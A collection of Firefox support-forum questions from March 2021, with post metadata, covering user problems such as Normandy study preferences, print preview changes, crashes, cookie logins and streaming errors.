<p>I did NOT enroll in any FF studies. Yet, moderator Cor-el said the <em>app.normandy</em> preferences will install new features and 'shield studies' anyways. I stopped downloading FF updates after v.84. I wanted to avoid the disastrous change to the print function that showed up on another computer.  I spent hours trying to figure out what happened and how to get rid of of it. Nevertheless, Firefox installed this unwanted print 'update.' So my question is whether it is safe to turn off or delete all the app.normandy preferences in about:config ? Or do I only need to change the settings on a few? If so, which ones.  What happens if I change these? </p><p>app.normandy.api_url	<a href="https://normandy.cdn.mozilla.net/api/v1" rel="nofollow">https://normandy.cdn.mozilla.net/api/v1</a>	 app.normandy.dev_mode	false	 app.normandy.enabled	true	 app.normandy.first_run	false	 app.normandy.last_seen_buildid		 app.normandy.logging.level	50	 app.normandy.migrationsApplied	10	 app.normandy.onsync_skew_sec	600	 app.normandy.run_interval_seconds	21600	 app.normandy.shieldLearnMoreUrl	<a href="https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield" rel="nofollow">https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield</a>	 app.normandy.startupRolloutPrefs.browser.partnerlink.useAttributionURL	true	 app.normandy.startupRolloutPrefs.browser.toolbars.bookmarks.2h2020	true	 app.normandy.startupRolloutPrefs.browser.topsites.experiment.ebay-2020-1	true	 app.normandy.startupRolloutPrefs.browser.topsites.useRemoteSetting	true	 app.normandy.startupRolloutPrefs.doh-rollout.enabled	true	 app.normandy.startupRolloutPrefs.doh-rollout.profileCreationThreshold	1896163212345	 app.normandy.startupRolloutPrefs.doh-rollout.provider-steering.enabled	true	 app.normandy.startupRolloutPrefs.doh-rollout.provider-steering.provider-list	[{ "name": "comcast", "canonicalName": "<a href="http://doh-discovery.xfinity.com" rel="nofollow">doh-discovery.xfinity.com</a>", "uri": "<a href="https://doh.xfinity.com/dns-query" rel="nofollow">https://doh.xfinity.com/dns-query</a>" }]	 app.normandy.startupRolloutPrefs.network.preload	true	 app.normandy.startupRolloutPrefs.print.tab_modal.enabled	false	 app.normandy.user_id	9893538f-07be-4513-8265-9124f1f967ff </p><p>"Normandy is a collection of servers, workflows, and Firefox components that enables Mozilla to remote control Firefox clients in the wild based on precise criteria." </p>


created: 2021-03-03T18:22:21-08:00
updated: 2021-03-07T06:40:01-08:00
title: Can't open links from other apps, error "Firefox is already running"
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396943;
creator: jpina452
content:
<p>I'm running Arch btw, with GNOME Shell 3.38.3 and Firefox 86.0 (64-bit). </p><p>If I have Firefox already open and I click on a link inside of another app, Firefox displays the following error message and the link fails to open. </p><p>Firefox is already running, but is not responding. To use Firefox, you must first close the existing Firefox process, restart your device, or use a different profile. </p><p>However, if I close Firefox and then click the link again, Firefox will correctly open the link. </p>


created: 2021-03-03T18:11:17-08:00
updated: 2021-03-03T18:11:17-08:00
title: Choose pane configuration in inspect element
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: ShawnShyGuy
content:
<p>Hi, </p><p>When I use inspect element, there's obviously the main HTML pane, and then the tabbed pane with CSS rules and the sort. When I pop out inspect element to its own window, it looks like the first image attached. However, dragging it and maximizing it on my second monitor makes it look like the second image. Obviously, this is less than ideal for this layout. As far as I'm aware, this is purely a responsive layout, with no user overrides (<a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/3-pane_mode" rel="nofollow">3-pane mode's docs</a> only say "At narrower browser window widths, the tabs appear below the CSS Rules pane.) My question then, is if there is a way to override this? If so, I'm all ears, and if not, I do think that's something that should be considered. </p>


created: 2021-03-03T17:55:55-08:00
updated: 2021-03-10T11:40:04-08:00
tags: desktop;fix-problems;escalate;windows-10;website;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396945;1397107;1397350;1397358;1397409;1397418;1397486;1397775;
creator: Sprinkles91
title:
"a webpage might be slowing down your browser." frequent persistent yellow pop up bug crashing my webpages. please make it stop!?

content:
<p>hello there and good evening:3 my husband and i are having this repetitive and extremely frequent bright yellow pop up with a robot that states "a webpage might be slowing down your browser." then the option to wait, or stop it. i've ran out of patience with this notification to the point to where even though i'de hate to, i would have no choice but to switch back to chrome just to stop being spammed by this pop up while im trying to relax. it happens more frequently on youtube and <a href="http://walmart.com" rel="nofollow">walmart.com</a>, and i just want it to stop because it seems as if when it does show up, once it starts it never stops, and it actually slows down my webpage to the point of becoming unresponsive and stalling/crashing my only webpage open at the time. my husband has the same issue and we both use windows desktop. it only started appearing after the latest update. please, can someone help me make this thing go away? its very stressful and i cant browse in peace anymore on firefox. yes we have turned off all background processes, and we both have scowered settings troubleshooting for hours at a time to no avail, it just never stops and it behaving like a really bad bug. </p>


created: 2021-03-03T17:49:49-08:00
updated: 2021-03-03T17:49:49-08:00
title: I accidentally lost the recommended articles
tags: desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: ComputerPain
content:
<p>I accidentally lost the recommended articles which can be saved to pocket (optional). There should be a checkbox that asks: ARE YOU SURE ? There must be an EASY way to get the articles back. While I'm here I'd like to say that a lot of the help files or comments don't have any pictures. A picture IS worth a thousand words so it would be nice to have more of that. Someone could ask you what someone else looked like and you could sit there and type a long time or (so much faster) show them a picture if you have one, right ? Let's go a step further and use a dismantled car engine. Even more complex. Are you starting to get it ?  :-) </p>


created: 2021-03-03T17:21:28-08:00
updated: 2021-03-03T17:33:48-08:00
title: Firefox set to erase data on close is forgetting extension logins when it didn't before
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396296;1396297;1396300;1396301;
creator: Lewis7247
content:
<p>I had to reinstall Windows recently. For some reason, Firefox no longer seems to keep me logged in to Lastpass and Pushbullet. More than half of the time I load a new session, Lastpass will give me a cookies notice but does remember my details in the fields, whereas Pushbullet shoves a login screen in my face and I have to go through the hassle of signing in with Google. </p><p>My browser has always been set to erase everything on close, but this has never effected extensions, so I'm surprised it suddenly does so. I don't think my settings are any different than they have been previously. I've tried making the lastpass and pushbullet websites as exceptions and playing with various privacy settings but am unable to replicate the 'correct' behaviour I had before. </p><p>Am I missing something here please? Has something changed in recent versions of Firefox? </p><p>Settings are: Standard tracking protection Always do not track Delete cookies and site data when Firefox is closed is checked with <a href="http://Lastpass.com" rel="nofollow">Lastpass.com</a> and <a href="http://Pushbullet.com" rel="nofollow">Pushbullet.com</a> as exceptions All options under 'Logins and passwords' unchecked Always use private browsing mode, remember browsing and download history, and remember search and form history are all unchecked Clear history when firefox closes is checked, and in settings, all boxes are checked </p>


created: 2021-03-03T17:14:39-08:00
updated: 2021-03-10T15:38:31-08:00
title: Multiple Issues
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: Steve09
content:
<p>New laptop.   I believe there are major issues with Windows 10.   I've posted them on MS message boards but no one is experiencing them (don't notice?  Don't care?).  I use Firefox, and while I don't believe Firefox is the problem, I thought I'd post some of them here (the short version).  </p><p>Links open by themselves without me clicking or tapping on them.   When I'm in a Hotmail email or message board compose screen, or a web page with fields to enter personal information, very often when I click to a spot, the screen scrolls up by itself (happens in Chrome too).  Sometimes, writing an email, when I click to a spot, the cursor will instead appear a few lines up (not where I clicked).  Even if I don't click, the cursor might, all of a sudden, jump somewhere else while I'm typing, or paused typing (even in a Google search field).   At times, when I hit the backspace - to remove characters, text - I'm taken back to the previous web page instead.  I have seen this complaint when I searched it.  But I don't want an Add On that disables the backspace. I just want it to work as it should, not take me back a page. </p><p>And no, it's not malware.   And I didn't have these issues with my old Windows 8 and 8.1 laptop. </p>

answers:
1396298;1396303;1396316;1396444;1396450;1396451;1396453;1396460;1396633;1396715;1396756;1397565;1397917;


created: 2021-03-03T16:28:57-08:00
updated: 2021-03-03T16:58:48-08:00
title: Firefox resets every morning
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396292;1396294;
creator: fourth3ma573r
content:
<p>Every time I wake up, firefox has reset like i am opening it for the first time. i have to log in every morning, which is different from other browsers. i am wondering, is this a feature, or a bug. it also resets extensions, bookmarks, and logins. this is very annoying for me. </p>


created: 2021-03-03T16:24:25-08:00
updated: 2021-03-03T16:57:28-08:00
title: Recently there has been a 10 second delay when clicking links in firefox
tags: desktop;fix-problems;windows-81;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396293;
creator: fullscreener_notoolbar
content:
<p>It occurs in Safe Mode as well.  Is this a man in the middle attack, ISP throttling, or something else? </p><p>Whatever it is, it is very irritating.  The firefox window freezes for 10 seconds after clicking a link.  On Windows 8, Firefox 86.0, 64-bit. </p>


created: 2021-03-03T16:16:04-08:00
updated: 2021-03-03T16:16:04-08:00
title: Firefox not loading type correctly - just a jumbled mess
tags: mac-os;desktop;fix-problems;firefox-850;
product: firefox
topic: fix-problems
locale: en-US
creator: parcreate
content:
<p>Firefox is not loading type correctly - just a jumbled mess. Mainly in the headers and applies to a diverse array of websites. What is going on? </p>


created: 2021-03-05T14:17:41-08:00
updated: 2021-03-05T14:17:41-08:00
title: mozilladan her çıktığımda tüm şifrelerimi whatsapp web kare kodunu tekrar girmem gerekiyor
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: umutcanbinn
content:
<p>mozilladan her çıktığımda tüm şifrelerimi whatsapp web kare kodunu tekrar girmem gerekiyor </p><p>I have to re-enter all my passwords whatsapp web QR code every time I exit mozilla </p>


created: 2021-03-05T13:43:11-08:00
updated: 2021-03-05T14:13:17-08:00
title: Streaming Services Not Working
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396624;
creator: techravingmad
content:
<p>I just tried today, but I don't know when it started, but all of the streaming services I have access to are not working in Firefox (on MacOS 11.2.2, Firefox 86.0). They give the following errors: </p><p>Disney+ - Something went wrong. Please try again. If the problem persists, visit the Disney+ Help Center (Error Code 83) </p><p>Prime - We're experiencing a problem playing this video. For assistance, please go to <a href="http://www.amazon.com/videohelp" rel="nofollow">www.amazon.com/videohelp</a>. </p><p>Netflix - Pardon the interruption. This title is not available to watch instantly. Pleast try another title. - 1044. Error Code F7121-1331 </p><p>I've tried multiple videos on each service, all produce the same errors.  I've rebooted my machine. I've flushed all cache and cookies. I've tried in safe mode.  </p><p>Youtube and Twitch both work.  Strangely enough the "Watch Trailer" on Prime works. On the same machine Chrome and Safari play all services fine. </p><p>This makes me think it's either a privacy guard setting or a DRM setting. I've also checked my media.mediasource settings and they are all default.  Play DRM-controlled content is also enabled. </p><p>Anyone have any help or other things I can check? </p>


created: 2021-03-05T13:29:06-08:00
updated: 2021-03-05T13:29:06-08:00
title: Enable FIPS on macOS Big Sur
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: sarah.robinson
content:
<p>I'm trying to install and use a digital security certificate on my MacBook Air (2020). The OS is Big Sur 11.2.2 </p><p>Currently, the certificate shows as installed, but I can't download a backup to install it on Thunderbird to use for digitally signing emails. The <a href="https://www.identrust.com/sites/default/files/resources/identrust-export-backup-digi-cert-mozilla-firefox-en_0.pdf" rel="nofollow">tutorial article from the digital certificate company</a>  seems to be for an older version of Firefox, or perhaps the Mac version is different enough that the steps don't line up. Either way, one of the steps is to "Enable FIPS" and I have not been able to do that. I can find the option to enable FIPS, but it is greyed out and I haven't been able to find any information on how to fix that. </p><p>Preferences/Privacy &amp; Security / Security / Certificates / Security Devices </p><p>Clicking on the certificate itself in the Device Manager list shows the status as logged in and the options that are available on the right side are Log out, Change password, and Load, but Enable FIPS is grey. </p>


created: 2021-03-05T13:21:03-08:00
updated: 2021-03-05T14:14:20-08:00
title: Signing into a secure account.
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396625;
creator: dbem
content:
<p>When I sign into a secure account (my bank for instance) It never recognizes my laptop and I have to have a secure code emailed or texted to me. Why is that and what can I do to fix it? </p>


created: 2021-03-05T13:11:41-08:00
updated: 2021-03-05T13:32:33-08:00
title: Disable New Cookie Feature for a Site?
tags: mac-os;desktop;cookies;firefox-860;
product: firefox
topic: cookies
locale: en-US
answers: 1396612;
creator: mike.dacre
content:
<p>Since the new update with the change in cookie management, login at my school is not working. We use a number of different sites that pull from the Stanford login cookies. For example <a href="http://stanfordhealthcare.cloud-cme.com" rel="nofollow">stanfordhealthcare.cloud-cme.com</a> uses my <a href="http://login.stanford.edu" rel="nofollow">login.stanford.edu</a> cookie to function, and so it no longer functions and login is impossible. </p><p>I know the new system has a bypass built in for known login services, but what about the myriad different independent SSO systems used by schools? </p>


created: 2021-03-05T13:06:17-08:00
updated: 2021-03-05T13:06:17-08:00
title: Firefox for Windowsphone
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: erling2
content:
<p>Hello, I have just received the usual message after installation of an update on my Windows computer. There you can read the following sentence : "Quel que soit votre système d’exploitation, il existe un navigateur mobile soutenu par une organisation sans but lucratif et plus performant que jamais à y installer." I should just want to know how that functions with a Windowsphone? Thank you in advance, Erling </p>


created: 2021-03-05T12:58:04-08:00
updated: 2021-03-05T17:19:49-08:00
title: compatibilité firefox mycanal
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396637;
creator: lamarckjohn
content:
<p>Bonjour, L'application mycanal me demande l'installation de silverllight! Comment faire? Merci </p>


created: 2021-03-05T12:33:35-08:00
updated: 2021-03-05T14:16:48-08:00
title: Since getting the update to 86.0 a web page is not being shown as it did.
tags: linux;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396628;
creator: teeny_weeny
content:
<p>I have Node-Red and this page was different. </p><p>Now with 86.0 it looks like this: </p><p><a class="new" href="/en-US/kb/new?title=Knowledge+Base+Article" rel="nofollow" title="Page does not exist.">New layout of page after update</a> </p><p>The group for MusicPi used to be at the left of the screen just before BedPi's group. </p><p>Yes, there is a problem with the height/size of the groups which is/was a suspect, but thinking about it a bit more:   It was working until the upgrade. </p>


created: 2021-03-05T12:31:10-08:00
updated: 2021-03-05T12:31:10-08:00
title: Belgian ID reader extension problems
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: hermanpmartin
content:
<p>Hello, if you look at the message below you can see that I can't use the extension but the program is installed properly </p>


created: 2021-03-05T12:25:04-08:00
updated: 2021-03-05T13:04:02-08:00
title: Printing 2-sided on flips on short side in windows 10
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396610;
creator: krebar01
content:
<p>When printing 2-sided in Firefox for windows 10 how do you flip on the Long Edge.  Default appears to be short side paper flip and no options to change that value. </p>


created: 2021-03-05T11:13:26-08:00
updated: 2021-03-05T12:45:30-08:00
title: Firefox start up crash on Ubuntu 18.04
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396605;
creator: william23b
content:
<p>Hi, I currently have the following error message when i start firefox from Terminal in safe mode </p><p>~$ firefox/firefox -safe-mode ExceptionHandler::GenerateDump cloned child 2702 ExceptionHandler::SendContinueSignalToChild sent continue signal to child ExceptionHandler::WaitForContinueSignal waiting for continue signal... </p><p><br> I have followed steps in detailed in this link <a href="https://support.mozilla.org/en-US/kb/firefox-keeps-crashing-startup" rel="nofollow">https://support.mozilla.org/en-US/kb/firefox-keeps-crashing-startup</a> </p><p>The crash persists: </p><p>When I start firefox in safe mode When I uninstall it and install a fresh copy I have also deleted the StartUp cash folders I could find within ~/.mozilla/firefox I not understand how any kind of malware could be on my Linux system, or how to check Here is the Crash report </p><p>AdapterDeviceID: 0x0166 AdapterDriverVendor: AdapterDriverVersion: 20.0.8.0 AdapterVendorID: 0x8086 AvailablePageFile: 0 AvailablePhysicalMemory: 436207616 AvailableSwapMemory: 1378377728 AvailableVirtualMemory: 1448677376 BuildID: 20210222142601 CrashTime: 1614970266 DesktopEnvironment: gnome Email: FramePoisonBase: 9223372036600930304 FramePoisonSize: 4096 InstallTime: 1614535573 IsWayland: 0 IsWaylandDRM: 0 MozCrashReason: OOB Notes: Ubuntu 18.04.5 LTSFP(D00-L1000-W00000000-T000) WR? WR- OMTP? OMTP- ProductID: {ec8030f7-c20a-464f-9b0e-13a3a9e97384} ProductName: Firefox ReleaseChannel: release SafeMode: 1 SecondsSinceLastCrash: 863 StartupCrash: 1 StartupTime: 1614970266 TelemetrySessionId: ec417b25-c587-4702-8019-aac1be068d99 ThreadIdNameMapping: 4922:"IPC I/O Parent",4923:"Timer",4924:"Netlink Monitor",4925:"Socket Thread",4926:"Permission",4929:"JS Watchdog",4930:"JS Helper",4932:"JS Helper",4931:"JS Helper",4933:"JS Helper",4934:"BGReadURLs",4935:"Cache2 I/O",4936:"Cookie",4937:"StreamTrans #1",4938:"Worker Launcher",4939:"SoftwareVsyncThread",4940:"Compositor", Throttleable: 1 TotalPageFile: 5408440320 TotalPhysicalMemory: 4029001728 UptimeTS: .32232316 Vendor: Mozilla Version: 86.0 </p><p>I would love to have some idea of the next steps to get firefox working on my system. </p>


created: 2021-03-05T10:43:08-08:00
updated: 2021-03-05T11:26:49-08:00
title: How to turn off print preview using "print" option under menu. Using FF 86.
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396583;
creator: harryo711
content:
<p>Just recently been getting a print preview pop-up from FF when selecting "print" under the menu. Must select system dialog to print the way I want. This is annoying. How to turn it off and use system dialog? Thanks. </p>


created: 2021-03-05T10:39:53-08:00
updated: 2021-03-05T12:26:13-08:00
title: Crash Report when attempting to launch Firefox
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396600;
creator: sugarcat13
content:
<p>Hello all, </p><p>Last night I closed Firefox with more tabs opened than I should have (I was having screen issues) and turned my computer off. </p><p>Today Firefox doesn't open. I have restarted the computer, made a clean install from the Firefox download page, and made sure Linux was up to date (I am running Linux Mint 19.1). Attached are a screenshot and report ID: Crash ID: bp-f0205e31-aeab-4928-9462-9b4e30210305 </p><p>I would really appreciate any help. Thanks in advance. </p>


created: 2021-03-05T10:32:39-08:00
updated: 2021-03-05T14:44:14-08:00
title: Consistent and unresponsive blank page
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396629;1396631;
creator: samartinez017
content:
<p>Firefox is not responding for me and I've tried everything.  </p><p>-I've refreshed the firefox app 5 times -reinstalled it -cleared cache and cookies -I did a troubleshoot  -disabled add-ons -disabled hardware acceleration </p><p>nothing. Any sugguestions? </p>


created: 2021-03-05T10:27:33-08:00
updated: 2021-03-05T11:45:55-08:00
title: How to create a recovery key without my password?
tags: desktop;sync;windows-10;firefox-850;
product: firefox
topic: sync
locale: en-US
answers: 1396559;1396565;1396569;1396586;
creator: petra.koch
content:
<p>Dear community, I forgot my password for my firefox account. To sync my new laptop I need it... So I found the article, which says, I can create a recovery key and use it to keep all my settings after I changed my password. But to create a recovery key, the system asks me to fill in my old password. So I can not create a recovery key. Maybe I make a mistake somewhere on the way...  Is there anybody, who can help me? Thank you very much! Petra </p>


created: 2021-03-05T10:16:31-08:00
updated: 2021-03-05T10:23:53-08:00
title: Downloading bank statements
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396552;1396553;
creator: globetrotter45
content:
<p>I cannot suddenly download my bank statements I am getting this message within the bank website: </p><p>"We're sorry, there was an issue when trying to retrieve your documents." this has only happened recently there reply to the question is as follows: Thank you for your email. </p><p>We understand experiencing issues with the website can be frustrating.  This error is normally received when there is a browser compatibility issue.   If the current browser does not allow you to access the documents, we would suggest using one of our other supported browsers: Internet Explorer, Firefox, Safari or Chrome. </p><p>Also I am having problems getting into my messages an Error comes up around 3 times before I actually get into them. </p><p>Any help would be gratefully appreciated....thank you </p>


created: 2021-03-05T10:01:09-08:00
updated: 2021-03-05T12:22:35-08:00
title: auto launch at start up
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396599;
creator: dorothyhafner
content:
<p>Firefox automatically starts itself on start-up every time.  I don't want it to.  If I want it on, I'll click on it.  I don't go on the internet every single time I start up my computer and don't like having to WAIT for it to start up so I can quit it.  I don't know why it does this - never did before - and it is EXTREMELY annoying! HELP! I'm on a Macintosh OS 10.15.7 Catalina<strong>bold text</strong> </p>


created: 2021-03-05T09:59:09-08:00
updated: 2021-03-08T07:44:21-08:00
title: Print Preview Issue
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396558;1396580;1396581;1396607;1397184;1397193;
creator: johndarin2
content:
<p>Hi.  Yesterday, I browsed thru my Firefox and/or GMail settings, and removed headers and footers from my printed copies of emails and web pages.  Which is fine.  However, at the same time I must have mistakenly changed a setting so that my print-ready version of an email or web page always displays in B &amp; W, not in color.  Although it will print in color, depending on how I have my HP printer set.  How can I change that back so the print-ready Print Preview copy displays pics, etc. in color?  I forgot what I did.  Aarrgh!  Please help!  Thanks.  John Darin </p>


created: 2021-03-05T09:56:44-08:00
updated: 2021-03-05T10:40:45-08:00
title: Firefox address bar issues
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396564;
creator: cjxjman
content:
<p>How do you REMOVE suggested web sites from the address bar? </p><p>I do not use them and I do not want on the address bar suggestions. </p><p>I do not have any of these sites saved as bookmarks or in my search engine choices. </p>


created: 2021-03-05T09:04:42-08:00
updated: 2021-03-05T09:04:42-08:00
title: Firefox needs restart after a certain period of time in order to see webcam
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: jaysonbunnell
content:
<p>I use Firefox as my default browser, and I am an enrolled online student. I have an external logitech camera that works fine on Chrome and Safari (I'm on Mac) but Firefox requires a complete close and reopen after a few hours. It stops accessing the video camera accurately, although the indicator light on the camera still comes on. </p><p>This happens regardless of the platform (i.e. Google Meet, Zoom, chat sites). </p><p>Does anyone know what's going on? Or what settings can be tweaked? A computer running windows ten is having the same issue. </p>


created: 2021-03-05T08:40:24-08:00
updated: 2021-03-05T13:52:47-08:00
title: 2-Factor Authentication
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396615;
creator: AilasPerhice
content:
<p>Hi  My question is:"Protect your Firefox account with 2-step verification" My system is windows10, 64 bit, install firefox version 86 My phone is iphone xs max install twilio authy version 24.4.4 I cannot set up two-step verification, scanning and typing all failed!!! What should I do, I want to use authy </p>


created: 2021-03-05T08:22:43-08:00
updated: 2021-03-05T08:22:43-08:00
title: keyboard blocked
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: renateky1
content:
<p>At least once a session it occurs, that the keyboard of my Acer Laptop gets out of work: No flesh, no writing. At the same time the symbol of a blocked keyboard occurs on the screen. Sometimes it changes to the opposite, sonetimes not. To repair it, I have to close the firefox site or turn off the computer. All work is usually lost. </p>


created: 2021-03-05T07:59:54-08:00
updated: 2021-03-05T11:43:38-08:00
tags: linux;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396579;1396584;
creator: Gpx45
title:
Is there a way to disable Firefox's ability to download from about:config vs downloading an extension?

content:
<p>Hello everyone! thank you for your assistance and expertise ahead of time as any help is heavily appreciated. </p><p>I've been trying to find a way to disabled downloading in Firefox all together. The reason for this is per my organization's requests. As they do not want users downloading anything what so ever. </p><p>I've found extensions that can do this, however since I'm tweaking a profile in which is shared amongst all users. Its not the best solution since I have to manually check the add-ons on every time I make a new user profile.  </p><p>Is there by any chance a means for me to disable downloading as a whole within either userChrome.css or about:config? </p><p>Any help again is greatly appreciated. </p>


created: 2021-03-05T06:54:29-08:00
updated: 2021-03-08T06:52:45-08:00
title: Firefox 86: change print margin unit from inch to millimeters
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397183;
creator: mrmustard1
content:
<p>Firefox 86 has introduced a new print preview panel which I like. What I don't like though is that the unit for print margins has changed from millimeter to inch (see screenshot, in German). In previous versions, it was possible to set the unit in the prefs by changing "print.printer_PostScript/default.print_paper_size_unit". Value 0 meant imperial units, value 1 meant metric units. This entry does no longer exist. </p><p>There is still the entry "print.printer_printername.print_paper_size_unit" for every printer that's installed. Those values are all set to 1 in my case but this doesn't seem to have any effect. </p><p>So how can I set the margins of printed pages in millimeters instead of inches? </p>


created: 2021-03-05T06:31:36-08:00
updated: 2021-03-05T06:31:36-08:00
title: Firefox notifications
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: expati
content:
<p>I use Mojave, 10.14.6 </p><p>After opening my macbook, but before I enter the password or see a screen, I get a small box in the upper right telling me I have 2 Firefox notifications. </p><p>Where can I find these, please? </p><p>My email is: expati@protonmail.com </p><p>Thanks for your help. </p>


created: 2021-03-05T05:16:45-08:00
updated: 2021-03-05T05:37:28-08:00
title: lost bookmarks with update
tags: desktop;bookmarks;windows-81;firefox-570;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396527;
creator: jpatrick001
content:
<p>Firefox recently updated automatically and when i went into the browser all my bookmarks are gone.  i have tried restoring them from the most recent back up and they still don't load.  i searched the blogs and go thru the troubleshooting options with no luck.  this is very frustrating as i had tons of sites i don't visit often saved in the bookmarks which are not gone. </p><p>any assistance or guidance on how to get these back is appreciated. </p>


created: 2021-03-05T05:14:30-08:00
updated: 2021-03-05T05:14:30-08:00
title: stripping processes down to nothing
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: adam-evanovich
content:
<p>per the subject you guys, can you point me to a resource where I can find out why FF uses so much mem?  that's not needed.  i already read everything on the web I could find.  I understand that the multiple threads are for faster content loading, but that's irrelevant for me.  I've manipulated it for quite a while, and I always see 5 threads boot when FF boots.  can that be stripped down?  if so, how?  tx.  see img. </p><p>Adam </p>


created: 2021-03-05T05:07:17-08:00
updated: 2021-03-05T05:07:17-08:00
title: Can't post comments to Washington Post after clearing cache
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: brewerpaul
content:
<p>I've always been able to post comments  about columns on WaPo. Scrolling past the column brings up a part of the page that says "posting as username". The name is correct. Previously, I'd see a little circling "working" icon and then a box to enter my comment would open and I could also see comments that others have made. Now, nothing happens. I cleared my cache the other day, and the problem seems to be since then. Comments work fine in Chrome, but I like Firefox better. Ideas? </p>


created: 2021-03-05T04:55:45-08:00
updated: 2021-03-05T04:55:45-08:00
title: PC reboots without BSOD, seemingly Firefox is a culprit
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: nikodimov
content:
<p>Build: Windows 10 Pro, Intel Core i5-10600, GTX 1070, 16GB RAM, MSI B460M-A Pro. OS and some software on an SSD, other stuff on two hard drives. </p><p>Problem: Replaced mobo, CPU, RAM, CPU fan and SSD a week ago, installed fresh OS. The day after that computer started resetting randomly while streaming or watching a video in Firefox after a period of from five minutes to two hours. Never happened while I was playing Monster Hunter World and Apex Legends and streaming them with Chrome open or closed. Win doesn't say anything about it after reboot, and I can't see a minidump in Windows folder. </p><p>Event log doesn't say much interesting, two events right after the reboot are always like that: </p><p>The previous system shutdown at 15:23:32 on ‎02.‎03.‎2021 was unexpected. </p><p>Audit events have been dropped by the transport. 0 </p><p>The only other warnings in the log are like this: Catalog Database (1800,R,98) Catalog Database: The database format feature version 9180 (0x23dc) could not be used due to the current database format 1568.20.0, controlled by the parameter 0x410022D8 (8920 | JET_efvAllowHigherPersistedFormat). </p><p>Tried updating chipset &amp; network adapter driver, graphics drivers, turning hardware acceleration in browsers on and off, removing add-ons from Firefox, reinstalling browsers. Checking temperatures with Open Hardware Monitor (all below 40 degrees Celsius), CPU load is very low. PSU is also a suspect, but this crash never happened when Firefox wasn't running. </p>


created: 2021-03-05T04:13:59-08:00
updated: 2021-03-05T04:13:59-08:00
title: PC Apple all in one
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: didi3
content:
<p>Ich mache online Banking. Seit ein paar tagen geht alles nur noch Zäh. schlireßlich sagt mir einn Fenster, dass Firefox nicht ausreciht, um onkiune Bankong zu machen. Was muß ich denn tun? </p>


created: 2021-03-05T04:12:38-08:00
updated: 2021-03-05T04:12:38-08:00
title: automatic firefox login doesnt work
tags: mac-os;desktop;sync;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: christian_wi
content:
<p>Hey guys, </p><p>as described in the headline my firefox browser isnt saving my firefox account after i restart my computer. I have to login manually to get acces to my personal savings etc.  I checked the cookies. It allows ff to save the necessary informations.  Any idea how I can fix it? </p>


created: 2021-03-05T02:31:36-08:00
updated: 2021-03-05T12:29:06-08:00
title: Firefox blank page and crash
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396512;1396513;1396519;1396554;1396561;1396578;1396591;1396598;1396601;
creator: jeenuv
content:
